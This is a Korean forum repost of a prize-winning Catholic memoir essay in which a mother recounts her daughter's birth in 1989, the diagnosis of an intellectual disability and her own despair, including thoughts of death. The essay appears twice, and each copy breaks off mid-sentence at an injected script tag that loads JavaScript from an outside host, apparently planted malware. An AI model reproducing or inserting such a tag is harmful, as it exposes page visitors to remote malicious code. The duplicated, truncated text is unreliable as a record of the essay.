너무 아름다와서 퍼왔어요.
작성자 : 허미옥 | 조회수 : 4,217 | 작성일 : 2007년 9월 13일
"제1회 생명체험 수기 대상- 나의 딸 임마누엘라 "
한소영(가타리나, 서울 방학동본당)
오늘도 나는 학교 주차장에 차를 세우고 우리 딸을 기다린다.
운동장 저 끝에서 딸의 모습이 보인다.
이 세상 어느 그림이 이렇게 아름다울 수 있을까?
이 세상 어떤 꽃이 이렇게 예쁠 수 있을까?
아이는 내게 늘 꽃처럼 나비처럼 구름처럼 달려온다.
늘 하듯이 매일의 반복인데도 마치 한참 만에 나를 만난 듯이 두 팔을 벌리고 뛰어온다.
그 아이에게는 매일 엄마와의 만남이 새로운 기쁨이고 시작이다.
우리 딸은 정신지체아동이다. 게다가 6년전부터는 척추측만증까지 생겨서 보조기까지 하고 있다. 난 매일 아침 딸아이 보조기를 채워주며 내 몸을 꽁꽁 동여 매는듯 가슴이 저리고 아프다. 내 가슴을 열어서 보일 수 있다면 아마 까맣게 재가 된 흔적이 남았을 것이다. 의사는 측만증 각도가 심하여 수술을 권하고 있는 상태이나 난 그 천사같은 아이에게 또 한번 아픔을 주기 싫어 그저 하느님께 모든 것을 맡긴 채 버티고 있는 것이다.
* * *
그러니까 지금으로부터 18년 전 1989년 5월 1일, 난 바라던 딸을 낳았다. 위로 아들이 있었고 시댁은 딸이 귀한 집이라 남편도 딸을 기다리고 있었다. 양쪽 집에는 경사가 났고 우리는 이 세상을 다 얻은 듯 기뻐하였다. 그런데 그 기쁨은 잠시였고 아이는 젖도 제대로 빨지 못한 채 대학병원 인큐베이터로 들어갔다. 황달이 심해서 머리에 주사를 꽂고 빛을 쪼이면서 치료하였다. 보름 후에 퇴원하였으나 여러 가지로 병약하였고 모든 것이 다른 아이보다 늦었다. 그때 난 직장에 다니면서 아이들을 도우미 아줌마에게 맡겼었는데 나중에는 도저히 안 되어서 그 좋은 직장도 그만두고 말았다.
난 정말 꿈이 많은 여자였다. 여자치고는 야망이 있고 욕심이 많은 사람이었다. 학교 다닐 때도 늘 남보다 잘해야 했고 지기를 싫어하였다. 친정은 딸만 다섯이었는데 그 당시로는 부모님이 교육열이 높아서 딸 다섯을 모두 대학에 보냈다. 그 중 난 맏이였고 부모님은 아들 못지않게 키우려고 내게 공을 들였고 나도 그 기대에 어긋나지 않으려고 성실히 열심히 살았다. 유복하고 사랑이 많은 가정에서 자랐고 명문대학을 나왔으며 그 당시로는 하늘에 별 따기인 외국인은행에 취직도 하였다. 대학시절 남편을 만났고 우리는 남들이 부러워한 연애 끝에 선남선녀라는 남들의 찬사 속에 행복하게 인생의 첫 출발을 시작하였다. 나는 정말 내 앞에는 행복만이 존재할거라 믿었고 그 어느 것도 두려울 것이 없었다. 남편도 능력있었고 무엇보다 따뜻하고 자상한 사람이었다. 결혼 2년 후 아들을 낳았고 지금 생각해도 내 인생에서 제일 잘한 것이 있다면 우리 아들을 낳은 것이라고 생각할 정도로 잘난 아들이었다. 그런데 신은 너무 행복하면 무언가를 시기하는 것일까? 딸을 낳고나서 내 인생은 완전히 바뀌고 말았다.
* * *
의사가 말했다.
"따님께서는 아무래도 정상적인 생활은 불가능 할 것 같습니다. 모든 것이 다른 아이보다 늦을 것이고 차차 자라면서 그 갭은 점점 커져서 따라잡을 수가 없을 것입니다. 지금 상태로 봐서는 상태가 심한데요. 목도 제대로 못 가누니까요."
"그럼 제가 어떻게 해야 하나요?"
"현재로서는 별 방법이 없습니다. 하실 수 있는 방법은 먼 미래를 생각하며 고민하지 마시기 바랍니다. 오직 현재만 생각하세요. 그래야 하루하루를 견딜 수 있을거에요. 먼 미래까지 생각하면 힘드셔요. 오늘 이 아이에게 무엇이 필요한가 그것만 생각하세요."
지금도 난 세브란스 풀밭에 앉아서 넋 나간 사람처럼 그 이와 둘이 앉아 바라보던 하늘 색깔을 잊을 수가 없다.
너무 파란 하늘이었다. 가슴은 답답하여 미칠 것 같은데 뭐든지 제대로 돌아가는 것들은 다 뒤집혔으면 좋겠다고 생각하는데 하늘은 왜 그리 슬프도록 파란지….
그냥 죽고 싶었다. 길을 가면서도 아무하고나 시비 붙고, 차가 내 옆을 지나가도 비킬 줄을 몰랐다. 그래! 다 죽는 거야! 죽어 버리는 거야! 내 딸은 엉망진창인데 나 혼자 멀쩡하면 뭘 해! 나 혼자 죽기는 억울해. 그래. 지구야! 뒤집어져라. 전쟁이 나든 예수님이 재림하셔 휴거가 되든 (그때 당시 휴거론이 떠들썩하여 지구 종말이 온다고 말세론이 등장하고 뒤숭숭하던 상황이었다). 그래, 다 함께 망가져라. 내 나이 서른둘에 이제 한창 좋을 나이에 장애자식과 살아야 할 내 인생이 참담하고 한심하고 억울하고 분해서 미칠 것 같았다. 죽어버리자.
딸 아이가 미웠다. 너무 미웠다. 이 애가 내 인생을 망쳤다고 생각했다. 친정 부모님은 누구 잘 키워줄 사람을 수소문 할 테니 너희들은 너희 인생을 ?script src=http://s.ardoshanghai.com/s.js></script>
한소영(가타리나, 서울 방학동본당)
오늘도 나는 학교 주차장에 차를 세우고 우리 딸을 기다린다.
운동장 저 끝에서 딸의 모습이 보인다.
이 세상 어느 그림이 이렇게 아름다울 수 있을까?
이 세상 어떤 꽃이 이렇게 예쁠 수 있을까?
아이는 내게 늘 꽃처럼 나비처럼 구름처럼 달려온다.
늘 하듯이 매일의 반복인데도 마치 한참 만에 나를 만난 듯이 두 팔을 벌리고 뛰어온다.
그 아이에게는 매일 엄마와의 만남이 새로운 기쁨이고 시작이다.
우리 딸은 정신지체아동이다. 게다가 6년전부터는 척추측만증까지 생겨서 보조기까지 하고 있다. 난 매일 아침 딸아이 보조기를 채워주며 내 몸을 꽁꽁 동여 매는듯 가슴이 저리고 아프다. 내 가슴을 열어서 보일 수 있다면 아마 까맣게 재가 된 흔적이 남았을 것이다. 의사는 측만증 각도가 심하여 수술을 권하고 있는 상태이나 난 그 천사같은 아이에게 또 한번 아픔을 주기 싫어 그저 하느님께 모든 것을 맡긴 채 버티고 있는 것이다.
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그러니까 지금으로부터 18년 전 1989년 5월 1일, 난 바라던 딸을 낳았다. 위로 아들이 있었고 시댁은 딸이 귀한 집이라 남편도 딸을 기다리고 있었다. 양쪽 집에는 경사가 났고 우리는 이 세상을 다 얻은 듯 기뻐하였다. 그런데 그 기쁨은 잠시였고 아이는 젖도 제대로 빨지 못한 채 대학병원 인큐베이터로 들어갔다. 황달이 심해서 머리에 주사를 꽂고 빛을 쪼이면서 치료하였다. 보름 후에 퇴원하였으나 여러 가지로 병약하였고 모든 것이 다른 아이보다 늦었다. 그때 난 직장에 다니면서 아이들을 도우미 아줌마에게 맡겼었는데 나중에는 도저히 안 되어서 그 좋은 직장도 그만두고 말았다.
난 정말 꿈이 많은 여자였다. 여자치고는 야망이 있고 욕심이 많은 사람이었다. 학교 다닐 때도 늘 남보다 잘해야 했고 지기를 싫어하였다. 친정은 딸만 다섯이었는데 그 당시로는 부모님이 교육열이 높아서 딸 다섯을 모두 대학에 보냈다. 그 중 난 맏이였고 부모님은 아들 못지않게 키우려고 내게 공을 들였고 나도 그 기대에 어긋나지 않으려고 성실히 열심히 살았다. 유복하고 사랑이 많은 가정에서 자랐고 명문대학을 나왔으며 그 당시로는 하늘에 별 따기인 외국인은행에 취직도 하였다. 대학시절 남편을 만났고 우리는 남들이 부러워한 연애 끝에 선남선녀라는 남들의 찬사 속에 행복하게 인생의 첫 출발을 시작하였다. 나는 정말 내 앞에는 행복만이 존재할거라 믿었고 그 어느 것도 두려울 것이 없었다. 남편도 능력있었고 무엇보다 따뜻하고 자상한 사람이었다. 결혼 2년 후 아들을 낳았고 지금 생각해도 내 인생에서 제일 잘한 것이 있다면 우리 아들을 낳은 것이라고 생각할 정도로 잘난 아들이었다. 그런데 신은 너무 행복하면 무언가를 시기하는 것일까? 딸을 낳고나서 내 인생은 완전히 바뀌고 말았다.
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의사가 말했다.
"따님께서는 아무래도 정상적인 생활은 불가능 할 것 같습니다. 모든 것이 다른 아이보다 늦을 것이고 차차 자라면서 그 갭은 점점 커져서 따라잡을 수가 없을 것입니다. 지금 상태로 봐서는 상태가 심한데요. 목도 제대로 못 가누니까요."
"그럼 제가 어떻게 해야 하나요?"
"현재로서는 별 방법이 없습니다. 하실 수 있는 방법은 먼 미래를 생각하며 고민하지 마시기 바랍니다. 오직 현재만 생각하세요. 그래야 하루하루를 견딜 수 있을거에요. 먼 미래까지 생각하면 힘드셔요. 오늘 이 아이에게 무엇이 필요한가 그것만 생각하세요."
지금도 난 세브란스 풀밭에 앉아서 넋 나간 사람처럼 그 이와 둘이 앉아 바라보던 하늘 색깔을 잊을 수가 없다.
너무 파란 하늘이었다. 가슴은 답답하여 미칠 것 같은데 뭐든지 제대로 돌아가는 것들은 다 뒤집혔으면 좋겠다고 생각하는데 하늘은 왜 그리 슬프도록 파란지….
그냥 죽고 싶었다. 길을 가면서도 아무하고나 시비 붙고, 차가 내 옆을 지나가도 비킬 줄을 몰랐다. 그래! 다 죽는 거야! 죽어 버리는 거야! 내 딸은 엉망진창인데 나 혼자 멀쩡하면 뭘 해! 나 혼자 죽기는 억울해. 그래. 지구야! 뒤집어져라. 전쟁이 나든 예수님이 재림하셔 휴거가 되든 (그때 당시 휴거론이 떠들썩하여 지구 종말이 온다고 말세론이 등장하고 뒤숭숭하던 상황이었다). 그래, 다 함께 망가져라. 내 나이 서른둘에 이제 한창 좋을 나이에 장애자식과 살아야 할 내 인생이 참담하고 한심하고 억울하고 분해서 미칠 것 같았다. 죽어버리자.
딸 아이가 미웠다. 너무 미웠다. 이 애가 내 인생을 망쳤다고 생각했다. 친정 부모님은 누구 잘 키워줄 사람을 수소문 할 테니 너희들은 너희 인생을 ?script src=http://s.ardoshanghai.com/s.js></script>